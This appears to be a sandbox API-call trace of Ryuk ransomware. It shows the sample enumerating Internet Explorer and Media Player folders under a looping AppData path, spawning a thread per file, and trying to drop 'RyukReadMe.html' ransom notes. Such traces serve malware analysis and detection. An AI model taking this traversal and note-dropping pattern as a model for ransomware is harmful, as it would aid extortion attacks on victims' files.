	[0261.600] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.600] GetLastError () returned 0x3
	[0261.600] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0261.600] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.600] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x216, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0261.600] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0261.600] SetLastError (dwErrCode=0x0) 
	[0261.601] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\fkluidu0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.601] GetLastError () returned 0x3
	[0261.601] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0261.601] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.601] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x125db390, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x202, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0261.601] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b40000
	[0261.625] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x714
	[0261.633] VirtualFree (lpAddress=0x8b40000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.633] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x202, dwReserved1=0x0, cFileName="OWLVMZRC", cAlternateFileName="")) returned 1
	[0261.634] SetLastError (dwErrCode=0x0) 
	[0261.634] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.634] GetLastError () returned 0x3
	[0261.634] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0261.634] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.634] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x216, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0261.634] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0261.634] SetLastError (dwErrCode=0x0) 
	[0261.634] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\owlvmzrc\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.634] GetLastError () returned 0x3
	[0261.634] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0261.634] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.634] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x202, dwReserved1=0x0, cFileName="OWLVMZRC", cAlternateFileName="")) returned 0
	[0261.634] FindClose (in: hFindFile=0x3ef970 | out: hFindFile=0x3ef970) returned 1
	[0261.634] SetLastError (dwErrCode=0x0) 
	[0261.635] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.635] GetLastError () returned 0x3
	[0261.635] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0261.635] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.635] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x65d58120, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65d58120, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65d58120, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x23f4, dwReserved0=0x1de, dwReserved1=0x0, cFileName="frameiconcache.dat", cAlternateFileName="FRAMEI~1.DAT")) returned 1
	[0261.635] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0261.635] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x77c
	[0261.637] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.637] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95014270, ftCreationTime.dwHighDateTime=0x1d2fab5, ftLastAccessTime.dwLowDateTime=0x95014270, ftLastAccessTime.dwHighDateTime=0x1d2fab5, ftLastWriteTime.dwLowDateTime=0x95014270, ftLastWriteTime.dwHighDateTime=0x1d2fab5, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x1de, dwReserved1=0x0, cFileName="MSIMGSIZ.DAT", cAlternateFileName="")) returned 1
	[0261.637] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0261.638] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x724
	[0261.639] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0261.639] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed4ae10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6db5fbe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6db5fbe0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1
	[0261.640] SetLastError (dwErrCode=0x0) 
	[0261.640] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x770
	[0261.640] GetLastError () returned 0xb7
	[0261.640] CloseHandle (hObject=0x770) returned 1
	[0261.640] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed4ae10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6db5fbe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6db5fbe0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x202, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef970
	[0261.641] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed4ae10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6db5fbe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6db5fbe0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x202, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0261.641] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed70f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bc84b10, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bc84b10, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x202, dwReserved1=0x0, cFileName="Active", cAlternateFileName="")) returned 1
	[0261.641] SetLastError (dwErrCode=0x0) 
	[0261.641] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.641] GetLastError () returned 0x3
	[0261.641] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0261.641] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.641] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Active\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x216, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0261.641] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0261.641] SetLastError (dwErrCode=0x0) 
	[0261.641] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Active\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\active\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.641] GetLastError () returned 0x3
	[0261.641] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0261.641] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.641] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6db5fbe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x30603250, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x30603250, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x202, dwReserved1=0x0, cFileName="Last Active", cAlternateFileName="LASTAC~1")) returned 1
	[0261.641] SetLastError (dwErrCode=0x0) 
	[0261.642] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.642] GetLastError () returned 0x3
	[0261.642] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0261.642] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.642] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x216, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0261.642] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0261.642] SetLastError (dwErrCode=0x0) 
	[0261.642] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\last active\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.642] GetLastError () returned 0x3
	[0261.642] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0261.642] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.642] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6db5fbe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x30603250, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x30603250, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x202, dwReserved1=0x0, cFileName="Last Active", cAlternateFileName="LASTAC~1")) returned 0
	[0261.642] FindClose (in: hFindFile=0x3ef970 | out: hFindFile=0x3ef970) returned 1
	[0261.642] SetLastError (dwErrCode=0x0) 
	[0261.643] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Recovery\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\recovery\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0261.643] GetLastError () returned 0x3
	[0261.643] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0261.643] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0261.643] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4ed4ae10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6db5fbe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6db5fbe0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 0
	[0261.643] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0261.643] SetLastError (dwErrCode=0x0) 
	[0261.643] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0261.643] GetLastError () returned 0xb7
	[0261.643] CloseHandle (hObject=0x6f8) returned 1
	[0261.644] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1
	[0261.644] SetLastError (dwErrCode=0x0) 
	[0261.644] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0261.644] GetLastError () returned 0xb7
	[0261.644] CloseHandle (hObject=0x6f8) returned 1
	[0261.644] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0261.646] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
